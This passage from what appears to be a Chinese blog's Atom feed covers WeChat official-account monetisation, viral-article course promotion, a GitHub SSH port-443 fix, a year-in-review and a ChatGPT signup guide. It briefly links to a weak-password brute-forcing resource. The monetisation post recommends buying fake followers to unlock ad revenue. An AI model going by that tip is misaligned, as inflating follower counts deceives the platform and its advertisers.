&lt;p&gt;完整源代码和穷举弱口令库获取链接： &lt;a href="https://mp.weixin.qq.com/s/iIFIK_GDrFCg_MyI3YxAEw"&gt;https://mp.weixin.qq.com/s/iIFIK_GDrFCg_MyI3YxAEw&lt;/a&gt;&lt;/p&gt;</content><category term="Python"/><category term="python"/></entry><entry><title>公众号自媒体写作赚钱手册</title><link href="https://foofish.net/gongzhonghao-make-money-cookbook.html" rel="alternate"/><published>2024-03-03T00:29:01+08:00</published><updated>2024-03-03T00:29:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2024-03-03:/gongzhonghao-make-money-cookbook.html</id><summary type="html">&lt;p&gt;公众号自媒体写作赚钱手册&lt;/p&gt;
&lt;h3&gt;自我介绍&lt;/h3&gt;
&lt;p&gt;你好，我是刘志军， 前程序员，现在自由职业，知乎优秀答主，全网粉丝30万，目前专注于AI …&lt;/p&gt;</summary><content type="html">&lt;p&gt;公众号自媒体写作赚钱手册&lt;/p&gt;
&lt;h3&gt;自我介绍&lt;/h3&gt;
&lt;p&gt;你好，我是刘志军， 前程序员，现在自由职业，知乎优秀答主，全网粉丝30万，目前专注于AI+自媒体领域。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;16年开始写公众号&lt;/li&gt;
&lt;li&gt;17年公众号粉丝突破2万&lt;/li&gt;
&lt;li&gt;19年粉丝突破10万，通过公众号写作赚到副业的第一个100w&lt;/li&gt;
&lt;li&gt;20年公众号开始公众号矩阵，同时运营5个公众号&lt;/li&gt;
&lt;li&gt;23年成为自由职业，专注于AI和自媒体领域&lt;/li&gt;
&lt;li&gt;24年持续成长破圈中&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;作为一名从大山里走出来农村娃，我学计算机纯粹就是觉得程序员的薪资高，希望靠互联网技术实现屌丝逆袭，所以毕业后理所当然的选择了程序员这个行业，作为一名程序员我是如何通过技术写作赚到百万的呢？&lt;/p&gt;
&lt;p&gt;我注册公众号还是13年的事情，那时候我并不知道公众号怎么赚钱，所以注册了并没有去运营它，所以错过了公众号最佳红利期&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;所以说你只能赚到认知范围以内的钱，你所赚到的钱都是对认知的变现&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;因为我平时喜欢钻研技术并喜欢做些笔记当做技术博客来发，刚开始只知道把内容发在自己的个人博客上。和大家一样，我也非常渴望写出来的东西有人看，有人点赞有人评论，但是现实很残酷，写出来的东西除了自己没有第二个读者&lt;/p&gt;
&lt;p&gt;不过我并没有因此放弃，我很清楚没人看是常态，我的目标不是为了流量，而是为了提高技术能力坚持让自己写，每写完一篇文章就很有成就感，因为我的博客又多了一篇。&lt;/p&gt;
&lt;p&gt;所以，&lt;strong&gt;早期我的写作经历纯粹是怼量，通过量变产生质变&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直到2016年，从一家公司离职后，中间大概有一个多月的空窗期，闲来无事之后重新打开我的公众号，开始在公众号发文章。&lt;/p&gt;
&lt;p&gt;经过近五年的技术磨练，自我感觉无论是技术能力还是写作能力都有得到了一定的提升。在公众号上写文章有了一点点正反馈。一开始阅读量大概有几十上百，偶尔还有人留言。这些正反馈，促使我每天更新文章。&lt;/p&gt;
&lt;p&gt;那时候微信公众号还没有推荐算法，阅读量几乎都是来自于粉丝，我一边是每天写文章，另一边靠内容到处引流，包括知乎、csdn、博客园等技术社区。&lt;/p&gt;
&lt;p&gt;在公众号大概持续写了两个多月之后，突然有一天一个广告主加到我微信，想在我这个公众号上面去投广告。这个广告的价格是500块钱，虽然现在看来这个价格不值一提，但是当时对我来说就是真正的开眼。命运的车轮在这一刻开始转动&lt;/p&gt;
&lt;p&gt;只有你真正亲自把手弄脏挣到第一块钱的时候，他带给你的认知才是最深刻的， &lt;strong&gt;因为看见，所以相信，然后快速学会&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;2016年，我靠公众号挣到了1万块，这一年也是我做副业的起点&lt;/p&gt;
&lt;p&gt;2017年开始，我把全部业余时间全部投入到了公众号写作上面。粉丝从 5000 涨到 1 万，再到 5 万，10 万粉丝，花了 3 年时间。18年、19年、20年这几年公众号广告收益非常好，广告报价也 1000 逐渐涨到 5000，我也通过副业赚到了自己的第一个100w。&lt;/p&gt;
&lt;p&gt;我选择的赛道还是一个非常小众的程序员领域，还要再细分的Python语言这个领域的时候，我都能做到10万粉丝，这就验证了一个事情，就是微信的流量是真的大，也意味着你只要有自己的一技之长，也就一定能找到和你同频的粉丝，凯文凯利说过，只要你有1千个铁杆粉丝，就可以让你衣食无忧。&lt;/p&gt;
&lt;h3&gt;为什么要做公众号&lt;/h3&gt;
&lt;p&gt;做公众号主要就是靠写作，像我这种高考语文不及格的人都可以通过自媒体写作挣钱，就说明一个问题，自媒体写作不需要多么牛逼的文采，你只要逻辑清晰，能把一个观点，或者把一个知识将清楚， 用户能在你这里有获得感，你就可以成为一名合格的自媒体。&lt;/p&gt;
&lt;p&gt;最重要的是，写公众号可以锻炼我们的写作能力，写作能力在职场的任何场景都是非常有帮助的，包括做述职报告，技术演讲、产品宣讲，底层能力全部来自于你的写作能力。&lt;/p&gt;
&lt;p&gt;我的经历证明，不会写作就怼量，通过量变引发质变。&lt;/p&gt;
&lt;p&gt;当然，最重要的是做公众号能赚钱，在微信这个大流量池中，你不愁没流量。特别是2023年后，公众号平台调整流量分发机制，从之前的订阅机制改成如今的&lt;strong&gt;算法推荐机制&lt;/strong&gt;，以前阅读量来自于粉丝，现在新号即使没有粉丝，素人做公众号也可以通过平台的流量推荐，写出10万+阅读量的文章，而且这种概率特别高。&lt;/p&gt;
&lt;p&gt;一个新号从起号到入池的时间窗口大概一到两周时间，入池后就可以获得稳定的流量推荐，账号通过&lt;strong&gt;流量主&lt;/strong&gt;获取收益，一篇10万+的文章收益在500~2000不等。只要每天保持文章更新，就能带来持续不断的收益。&lt;/p&gt;
&lt;h3&gt;公众号赚钱方法&lt;/h3&gt;
&lt;h4&gt;1. 流量主变现&lt;/h4&gt;
&lt;p&gt;通过流量主变现的玩法主要是通过写爆文来变现，因为现在有了平台的算法推荐机制，新号只要选题做得好，标题吸睛，就能大概率获得系统推荐，快速达到10w的阅读量。&lt;/p&gt;
&lt;p&gt;公众号爆文变现的底层逻辑是通过流量主变现，赚的是广告主的钱。广告主在平台投放广告，你在平台写文章，广告通过平台曝光给读者，平台为了留住你持续创作，跟你收益分成。&lt;/p&gt;
&lt;p&gt;这是一个四赢的模式！品牌得到了曝光，用户通过阅读内容获得了价值，平台和创作者获得了收益。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20240228235323007" src="../../images/image-20240228235323007.png"&gt;&lt;/p&gt;
&lt;h5&gt;项目优势&lt;/h5&gt;
&lt;p&gt;1、门槛低，操作方便，可以随时随地写，手机电脑都能操作&lt;/p&gt;
&lt;p&gt;2、有平台红利，流量分发机制调整后，无需关心粉丝数，专心堆文即可，平台给免费流量。&lt;/p&gt;
&lt;p&gt;3、没有写作功底也可以做，做自媒体是一场开卷考试，最重要的不是写作功底，而是“抄作业”的能力&lt;/p&gt;
&lt;p&gt;4、有AI工具加持，通过矩阵可放大收益。&lt;/p&gt;
&lt;h5&gt;项目怎么玩？&lt;/h5&gt;
&lt;p&gt;AI爆文写作变现的流程&lt;/p&gt;
&lt;p&gt;1、注册公众号&lt;/p&gt;
&lt;p&gt;2、500粉开通流量主&lt;/p&gt;
&lt;p&gt;3、日更发文获得收益&lt;/p&gt;
&lt;p&gt;流量主的开通需要500粉丝，可以自己慢慢积累，比如通过发文自然涨粉，也可以找互关群，或者去外部引流，不过这个过程很慢，很容易耽误挣钱，另一种捷径就是花点小钱买粉，这个某宝都有相关的服务，但是要注意风险。&lt;/p&gt;
&lt;h4&gt;2. 接商业广告&lt;/h4&gt;
&lt;p&gt;公众号变现除了流量主收入外，还有一块肥肉就是接广告。不过公众号接广告需要达到一定条件。&lt;/p&gt;
&lt;h5&gt;1、公众号达到什么条件可以接&lt;/h5&gt;
&lt;p&gt;公众号粉丝一万以上或者平均阅读量500以上就有广告主主动联系你。如果文章打开率高，比如10%，甚至都不要1万粉丝也能接广告。&lt;/p&gt;
&lt;p&gt;广告主更喜欢垂直领域的公众号，比如保险广告会优先找保险行业的号主，IT培训的广告主会找IT领域的技术号。因为内容越垂直，粉丝越精准，他们的转化率越高。&lt;/p&gt;
&lt;h5&gt;2、如何接广告&lt;/h5&gt;
&lt;p&gt;接广告通常是广告主主动来找你，因为你很难找到广告主，虽然也有一些三方接单平台，但是这种平台的单价非常低，而且内容没有经过审核，有一定风险。&lt;/p&gt;
&lt;p&gt;为了让广告主主动找到你，你可以在公众号主页菜单加上自己的联系方式&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/f7f83f19c25d31fbba5358632f79c4d0.png"&gt;&lt;/p&gt;
&lt;h5&gt;3、如何设置公众号菜单&lt;/h5&gt;
&lt;p&gt;进入公众号管理后台【内容与互动】-【自定义菜单】设置菜单项，公一共可以设置3个主菜单，每个菜单可以设置5个子菜单，菜单内容可以是文字、图片、或者公众号文章，根据自己的需求选择，用户点击菜单后弹出相应的内容。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/8597f6eddb94acfa2d1c5f4e3d3159dd-1709623473244-1.webp"&gt;&lt;/p&gt;
&lt;h5&gt;4、如何谈价格&lt;/h5&gt;
&lt;p&gt;谈价格是最关键的一个步骤，广告主在谈价格前会问你粉丝数有多少，你可以根据实际情况回答，有些广告主还要求看粉丝画像，比如年龄分布、性别比例、地区分布等等。这些数据在公众号管理后台都有提供，你可以提供也可以拒绝，反正买卖就是双方都认可作为前提。&lt;/p&gt;
&lt;p&gt;公众号广告定价通常按过去一周或者一个月的平均阅读量来报价，一个阅读量单价在0.5~1.5元之间，例如你的平均阅读量是1000，那么你的报价通常在500到1500。&lt;/p&gt;
&lt;p&gt;你的初始报价要往高的方向报，因为第一次合作广告主肯定会砍价，但是他们心里会有个底价，你也要有个底价，只要不低于自己的底价双方就一来一回的谈，直到谈成或者谈崩。&lt;/p&gt;
&lt;p&gt;双方确定合作后，就是定发文日期以及打款时间等其他要求，例如有些广告主要求排他，不允许你在前后一周接竞品广告，这个都可以跟广告主商量。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="../../images/1f9972281aabe5213aafa52a9a11d311-1709623476470-3-1709623574036-9.webp"&gt;&lt;/p&gt;
&lt;h5&gt;5、什么时候收款&lt;/h5&gt;
&lt;p&gt;广告主会在正式发文的前一天把推广文给到你，你拿到文章后按照广告主的要求编辑好文章后，发送预览给到广告主审核，确定没问题后就可以要求广告主打款了。切记不能等文章发了再打款，防止广告主跑路或者拖拖拉拉，因为有些广告主是媒介，他跑了你很难找到他。&lt;/p&gt;
&lt;p&gt;在广告主没有特别要求的情况下广告文章可以只保留三天或者一周，过了这个时间就及时删除，毕竟对大部分粉丝来都是不喜欢广告的。&lt;/p&gt;
&lt;h5&gt;6、如何接互选广告&lt;/h5&gt;
&lt;p&gt;以上是自己私下和广告主接广告的流程，现在公众号平台要求大家走互换平台，就是发广告的所有流程都必须走平台，包括接单、文案、收款等操作。一方面平台可以过滤掉很多黑5类广告，防止号主或者粉丝上当受骗。&lt;/p&gt;
&lt;p&gt;接互选广告的前提是先在公众号后台将个人信息以及报价要求填好。互选广告也会事先有广告主跟你在微信上确认费用以及文章，只不过交易全部放在平台上完成，然后结款周期也更长。&lt;/p&gt;
&lt;h4&gt;3. 知识付费&lt;/h4&gt;
&lt;p&gt;所以知识付费就是把自己的技能包成成知识，售卖给粉丝用户。比如你是程序员博主，你可以卖程序员课程，你是英语博主你可以卖英语课程，你是职场博主，你可以卖职场相关的课程。&lt;/p&gt;
&lt;p&gt;比如咪蒙的付费音频课程《咪蒙教你月薪五万》，上线第1天就销量破5万，上线第4天卖出了10万份**&lt;/p&gt;
&lt;p&gt;1、做好账号的定位&lt;/p&gt;
&lt;p&gt;在选择通过公众号做知识变现之前，我们需要做好账号的定位，因为这与我们的获客群体有密切关系，也影响着后续的内容创作。所以我们优先选择自己擅长的领域，其次是感兴趣的方面进行入手。只有这样才会有动力去输出有价值的内容；内容有价值才会被需要，才会有人进行付费购买。&lt;/p&gt;
&lt;p&gt;比如我自己选择的是Python这个领域，主要分享Python编程知识，我就打造Python课程和Python社群。&lt;/p&gt;
&lt;p&gt;2、输出高质量内容&lt;/p&gt;
&lt;p&gt;同样是输出内容，同样是日出而作日落而息，为什么做同样的事情会有不一样的结果呢？出现这种结果往往都是细节方面的问题，很多人在内容输出方面没有用心，输出的内容没有质量，久而久之也就不被需要。所以想用做好知识变现，前提就是要输出高质量的内容，而且是持续输出；做好内容，才能做好变现。&lt;/p&gt;
&lt;p&gt;3、创建知识付费课程&lt;/p&gt;
&lt;p&gt;想要利用知识进行变现，肯定是要有课程让人购买；因此需要把自己的知识打磨好，创建成相应的知识付费课程。当然，课程是要有意义的，要让用户觉得有需要或者说想要学习。如果对课程打造并不擅长，那你可以选择先图文课程开始，然后再转战视频课程。&lt;/p&gt;
&lt;h4&gt;4.  私域引流&lt;/h4&gt;
&lt;p&gt;商业的本质就是价值交换，你提供价值，读者付费来购买你的价值。&lt;/p&gt;
&lt;p&gt;公众号属于公域流量，用户关注了你的公众号之后，每天只能触达一次给你的粉丝，如果我们能把公域流量引流到微信好友这个私域流量里面来，我们每天就可以无限次触达到粉丝了。&lt;/p&gt;
&lt;p&gt;微信私域做得最早的就是微商，你们不要看不起做微商的，早起很多做微商的赚得盆满钵满，他们都属于闷声发大财的，因为没有公开的数据能查到谁卖某个产品卖了多少单。&lt;/p&gt;
&lt;p&gt;流量变现的方法就是卖东西，可以卖自己的东西也可以卖别人的东西。比如拿我自己举例来说，我经常也会给别人推荐一些好的付费社群，包括我自己的课程，千元客单价的课程都是通过微信私域完成的交易，因为在私域里面提高了交易的信任值。&lt;/p&gt;
&lt;p&gt;当然，公众号变现远不止这几类，还有&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;粉丝打赏&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;号主只要发布3篇原创文章，就可以在公众号后台开通「赞赏功能」，之后每次发布原创文章，就可以创建读者打赏来获取收益。&lt;/p&gt;
&lt;p&gt;&lt;img alt="1.jpg" src="../../images/2020031712521848153-1709623481243-5.jpg"&gt;&lt;/p&gt;
&lt;p&gt;推送的原创文章能被读者喜欢，让读者产生共鸣并且带来价值，读者就会给号主进行打赏。读者打赏的数量需要有高质量的原创内容输出给读者带来价值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;商品返佣&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果你自己没有货源，也可以进行商品返佣的形式来变现，就是我们常说的CPS，就类似于淘宝客。比较常见的如：课程分销、图书分销等。&lt;/p&gt;
&lt;p&gt;操作也很简单，像新榜、荔枝微课、拉钩教育、小鹅通等都有相应的业务，只要去这些平台注册个账号，选中自己要推广的商品。在公众号推文的时候加上这些商品，只要读者在阅读公众号的时候购买了该商品，号主就能得到相应的佣金。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;社群变现&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这里说的社群变现主要是付费社群，通过知识变现。如果你的公众号是专业领域的，你可以创建付费社群，粉丝加入时就要先付费。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;公号交易&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果公众号做到后面不想做了，或者是转行，也可以把你的公众号卖掉来变现。一般都是根据粉丝量来定价的，通常1个粉丝的价值在1~3元。领域越细分，粉丝越精准，价值就会越高。&lt;/p&gt;
&lt;p&gt;&lt;img alt="1.jpg" src="../../images/2020031712545942975-1709623490631-7.jpg"&gt;&lt;/p&gt;
&lt;p&gt;专门进行公号交易的平台也很多，而且都是第三方担保交易，如：A5、鱼爪、有媒有、万易云等。&lt;/p&gt;
&lt;p&gt;欢迎添加微信，学习我是如何每天在生态生态里面赚钱的。&lt;/p&gt;
&lt;p&gt;&lt;img alt="d5b624924329b92a838039c421ba02d" src="../../images/d5b624924329b92a838039c421ba02d.jpg"&gt;&lt;/p&gt;
&lt;p&gt;最后，再推荐我写的《公众号AI爆文变现》专栏，一定会对你做公众号有帮助&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20240303005754449" src="../../images/image-20240303005754449.png"&gt;&lt;/p&gt;</content><category term="思考"/><category term="赚钱"/></entry><entry><title>公众号爆文获得百万级的流量密码是什么？做到这4点你也能写出10w+</title><link href="https://foofish.net/baowen-sucaiku.html" rel="alternate"/><published>2024-02-05T11:47:06+08:00</published><updated>2024-02-05T11:47:06+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2024-02-05:/baowen-sucaiku.html</id><summary type="html">&lt;p&gt;公众号平台迎来王炸级更新，流量分发机制调整，把订阅制改成&lt;strong&gt;算法推荐机制&lt;/strong&gt;，让普通人有了入局公众号变现的机会，而公众号爆文写作流量主变现无疑是门槛最低的变现方法。&lt;/p&gt;</summary><content type="html">&lt;p&gt;公众号平台迎来王炸级更新，流量分发机制调整，把订阅制改成&lt;strong&gt;算法推荐机制&lt;/strong&gt;，让普通人有了入局公众号变现的机会，而公众号爆文写作流量主变现无疑是门槛最低的变现方法。&lt;/p&gt;
&lt;p&gt;以前阅读量来自于公众号粉丝，粉丝的量级决定了文章阅读量，只有百万级粉丝的号才能写出10万+文章。&lt;/p&gt;
&lt;p&gt;而现在你只要几百个粉丝甚至0粉丝，也可以通过平台的推荐给你免费流量拿到10万+阅读量的文章， 从而通过流量主来变现。 &lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20240205155139118" src="images/image-20240205155139118.png"&gt;&lt;/p&gt;
&lt;p&gt;但是为什么有些人做账号入池很快，发文几天就有推荐流量进来，不断地写出10万+爆款文章&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20240205161618055" src="images/image-20240205161618055.png"&gt;&lt;/p&gt;
&lt;p&gt;而有些人更新一个月都没有任何动静，依然是几个阅读量？&lt;/p&gt;
&lt;p&gt;很多人总是怀疑自己，是不是我的账号被限流了？ 是不是关小黑屋了？ 是不是我的账号有什么问题？&lt;/p&gt;
&lt;p&gt;1、赛道&lt;/p&gt;
&lt;p&gt;其实一篇文章能不能爆，取决于你选的赛道、你的选题、你的标题和内容。赛道没选好，写一年也写不出10w+，比如你选冷门赛道，虽然竞争小，但是流量也小，而选择热门赛道就自带buffer。几百万的流量等着你，就看你是否能抓到。&lt;/p&gt;
&lt;p&gt;2、选题&lt;/p&gt;
&lt;p&gt;赛道选对了，还要看你的选题是否符合读者的胃口，比如有些人写职场几十万阅读，有些人却只有几个阅读，差别就在于选题，一个好的选题能成功一半，同样写职场，比如过年了你写如何给领导发祝福语、如何给领导送礼就要比如何给领导提意见要有流量。&lt;/p&gt;
&lt;p&gt;3、标题&lt;/p&gt;
&lt;p&gt;一篇爆款文章，最重要的还是标题，99%的读者都是被标题吸引从而点击进去看你的文章，因此，一篇文章阅读量高不高从标题就能看出来端倪。&lt;/p&gt;
&lt;p&gt;4、内容&lt;/p&gt;
&lt;p&gt;光有好标题还不够，一个百万阅读量的文章，好标题决定打开率，而真正能让读者留下来，让读者愿意转发的是内容，转发率又会进一步提高阅读量，就像滚雪球，阅读量越滚越高，这就是推荐算法的魅力。&lt;/p&gt;
&lt;p&gt;要想快速在公众号爆文上拿到流量，最好的路径就是去拆解对标账号，看他们都在写什么话题，怎么取标题，运用了什么技巧，如何布局内容， 你只要去认真模仿，多看多思考多练，就能很快培养出网感写出自己的爆文。&lt;/p&gt;
&lt;p&gt;为了解决大家不知道怎么找爆款对标账号，不知道去哪找爆款素材的问题，我们最近弄了一个&lt;strong&gt;100个公众号爆文拆解素材库&lt;/strong&gt;的小专栏，带着大家去拆解百万流量爆文的底层逻辑。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20240205172744177" src="images/image-20240205172744177.png"&gt;&lt;/p&gt;
&lt;p&gt;这个专栏是我（军哥）跟涛哥联合打造的专栏，我们俩在公众号领域都有多年的深耕，我的公众号写作经历超过7年，最近半年一直专注于公众号AI爆文项目，拿到过月入2w的成绩。 涛哥也是公众号矩阵运营，全网50万粉丝，学员超过1000，具有丰富的公众号爆文经验。&lt;/p&gt;
&lt;p&gt;专栏原价299，内测价只要10块钱，价值远超价格本身，可闭眼入！如果你购买后不满意随时找我退款。 满1000人很快就会涨价，现在加入我会拉你进入爆文变现陪伴群，跟大家一起交流经验。  &lt;/p&gt;
&lt;p&gt;&lt;img alt="09cd33211ab843ea104fa19947a46dd" src="images/09cd33211ab843ea104fa19947a46dd.jpg"&gt;&lt;/p&gt;</content><category term="公众号爆款案例"/><category term="公众号"/></entry><entry><title>解决GitHub代码push失败，提示 connect to host github.com port 22</title><link href="https://foofish.net/solve-github-spush-failed.html" rel="alternate"/><published>2024-01-23T18:29:01+08:00</published><updated>2024-01-23T18:29:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2024-01-23:/solve-github-spush-failed.html</id><summary type="html">&lt;p&gt;发现本地一个托管在GitHub的项目突然没法push代码了，提示： Connection timed out&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ssh:&lt;span class="w"&gt; &lt;/span&gt;connect&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;host&lt;span class="w"&gt; &lt;/span&gt;github.com&lt;span class="w"&gt; &lt;/span&gt;port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;22&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;Connection&lt;span class="w"&gt; &lt;/span&gt;timed&lt;span class="w"&gt; &lt;/span&gt;out
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;问题出在22端口上，可能是网络环境或者端口问题，可以通过改用 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;发现本地一个托管在GitHub的项目突然没法push代码了，提示： Connection timed out&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ssh:&lt;span class="w"&gt; &lt;/span&gt;connect&lt;span class="w"&gt; &lt;/span&gt;to&lt;span class="w"&gt; &lt;/span&gt;host&lt;span class="w"&gt; &lt;/span&gt;github.com&lt;span class="w"&gt; &lt;/span&gt;port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;22&lt;/span&gt;:&lt;span class="w"&gt; &lt;/span&gt;Connection&lt;span class="w"&gt; &lt;/span&gt;timed&lt;span class="w"&gt; &lt;/span&gt;out
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;问题出在22端口上，可能是网络环境或者端口问题，可以通过改用443端口来解决&lt;/p&gt;
&lt;p&gt;修改文件 &lt;code&gt;~/.ssh/config&lt;/code&gt; ，添加以下内容：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Host&lt;span class="w"&gt; &lt;/span&gt;github.com
Hostname&lt;span class="w"&gt; &lt;/span&gt;ssh.github.com
Port&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;443&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这样 SSH 连接时就会通过 443 端口与 &lt;code&gt;ssh.github.com&lt;/code&gt; 进行通信，而不是默认的 22 端口。&lt;/p&gt;
&lt;p&gt;保存文件重新push代码验证OK&lt;/p&gt;</content><category term="思考"/><category term="github"/></entry><entry><title>我的2023</title><link href="https://foofish.net/my-2023.html" rel="alternate"/><published>2024-01-01T09:18:01+08:00</published><updated>2024-01-01T09:18:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2024-01-01:/my-2023.html</id><summary type="html">&lt;p&gt;在2023年的尾巴，发生一个搞笑的故事&lt;/p&gt;
&lt;p&gt;晚饭做饭，准备切胡萝卜丝炒鸡蛋，儿子跑过来说，爸爸我想吃西红柿炒鸡蛋。 我说家里没有西红 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;在2023年的尾巴，发生一个搞笑的故事&lt;/p&gt;
&lt;p&gt;晚饭做饭，准备切胡萝卜丝炒鸡蛋，儿子跑过来说，爸爸我想吃西红柿炒鸡蛋。 我说家里没有西红柿，要不你下楼去买下，我给你炒。然后他自己就去了，出门前我还特意叮嘱买两个哈。  我满怀期待着他的西红柿，打开门当我看他到手里提着两鸡蛋时，我想到程序员买西瓜的段子。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;老婆给当程序员的老公打电话：“下班顺路买一斤包子带回来，如果看到卖西瓜的，买一个。”当晚，程序员老公手捧一个包子进了家门……老婆怒道：“你怎么就买了一个包子？”老公答曰：“因为看到了卖西瓜的。”
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;如果这是个程序，大概率是哪里出bug了，但是我没法复现出来。我问他你在路上想什么，他说只想快点买回来就有美味吃了。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;2023年是我的本命年，回过来头来看这一年比预想的要好&lt;/p&gt;
&lt;p&gt;2月份公司裁员，随后我正式开启了自由职业。随之而来的是重新计划生活，一到选择题摆在我们面前，继续留深圳还是回湖南&lt;/p&gt;
&lt;p&gt;3-4月主要在看房，因为要赶在5月份前买好小孩才有学校读，这是一个很尴尬的时间段，最后也没买成，好处就是又给我们省了几十个w，因为新政出来后房价跌得更猛了。&lt;/p&gt;
&lt;p&gt;最后我们选择暂时离开了深圳，没有太多伤感，因为只要家人在一起，去哪里都行。&lt;/p&gt;
&lt;p&gt;留在老家先苟住，生活成本极低，最大的一项开支是水果零食，至于工作，反正是自由职业，在哪都是一样，有事都在线上沟通。&lt;/p&gt;
&lt;p&gt;这一年最大的风口就是AI，我也赶上了这波红利，除了带来收入上的明显变化之外，另一个最重要的变化是AI完全颠覆了我们的学习模式。&lt;/p&gt;
&lt;p&gt;8月份基本完成了年初定的收入目标，最后3个月重新给自己定了目标，也提前半个月完成。我甚至怀疑是不是自己定得过低，其实并不是，而是预判到未来几个月只要执行到位就能完成，当然运气永远是必不可少的。&lt;/p&gt;
&lt;p&gt;所以，我前两天在知识星球说，做一件事情前，一定要先定个小目标，这个目标是你踮踮脚能完成的，否则你会搞不懂当下做事情的意义是什么&lt;/p&gt;
&lt;p&gt;2024年没有什么大愿景，努力工作，健康生活，比上一年进步多一点点，具体目标列在自己的清单里面。&lt;/p&gt;</content><category term="思考"/><category term="生活"/></entry><entry><title>2024年版ChatGPT最新注册教程</title><link href="https://foofish.net/how-to-registe-chatGPT-new.html" rel="alternate"/><published>2023-12-03T12:59:01+08:00</published><updated>2023-12-03T12:59:01+08:00</updated><author><name>刘志军</name></author><id>tag:foofish.net,2023-12-03:/how-to-registe-chatGPT-new.html</id><summary type="html">&lt;p&gt;如何才能体验ChatGPT呢？很多人卡在账号注册这一步，现在就来手把手教你如何成功注册ChatGPT，亲测有效。 如果不想自己折腾直接加 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;如何才能体验ChatGPT呢？很多人卡在账号注册这一步，现在就来手把手教你如何成功注册ChatGPT，亲测有效。 如果不想自己折腾直接加入我们社群【ChatGPT研究社】，里面提供了关于ChatGPT的各种教程和工具，让你快速上手，现在加入还可免费获取一个独立的ChatGPT账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20230330011719223" src="images/image-20230330011719223-1701583447111-29.png"&gt;&lt;/p&gt;
&lt;p&gt;ChatGPT3.5版本是免费，使用起来没有时间限制；ChatGPT4.0，需要20美金/月的订阅费用，且3小时只能使用50次。现在ChatGPT不再需要国外手机号就可以直接注册。&lt;/p&gt;
&lt;p&gt;首先打开魔法，访问链接：https://chat.openai.com/auth/login&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/1701582366498-c4e739ad-aa02-49dd-b649-d60437491597.png"&gt;&lt;/p&gt;
&lt;p&gt;点击 “Sign up”注册账号&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/1701582426948-d7a6820d-c96e-4ed9-92c3-0aa3d3cbc174.png"&gt;&lt;/p&gt;
&lt;p&gt;选择微软账号注册&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/1701582510703-e0717810-ec19-46bf-aff2-ac6de8c7d36d.png"&gt;&lt;/p&gt;
&lt;p&gt;如果你有微软账号，就直接登录，没有就选择“create one” 创建一个新账号。&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/1701582602560-7fdedbc7-5bfc-437c-bc2b-1a48b1cac9df.png"&gt;&lt;/p&gt;
&lt;p&gt;设置账号名&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/1701582621051-18a1a94c-b85f-417d-946a-24b1af985dca.png"&gt;&lt;/p&gt;
&lt;p&gt;设置密码&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/1701582682926-529f5228-fab9-4d0d-8a9a-bbe56248e763.png"&gt;&lt;/p&gt;
&lt;p&gt;地区选择美国（United States）&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/1701583004551-de237823-41a7-4d4a-827f-78910e680930.png"&gt;&lt;/p&gt;
&lt;p&gt;微软账号注册成功后，选择“Accept”&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/1701583084556-a0ff3f83-bdb0-430a-b214-060f5a8278c4.png"&gt;&lt;/p&gt;
&lt;p&gt;设置ChatGPT名字和生日&lt;/p&gt;
&lt;p&gt;&lt;img alt="img" src="images/1701583151287-3857bebf-ae96-4c89-b368-1026b1729292.png"&gt;&lt;/p&gt;
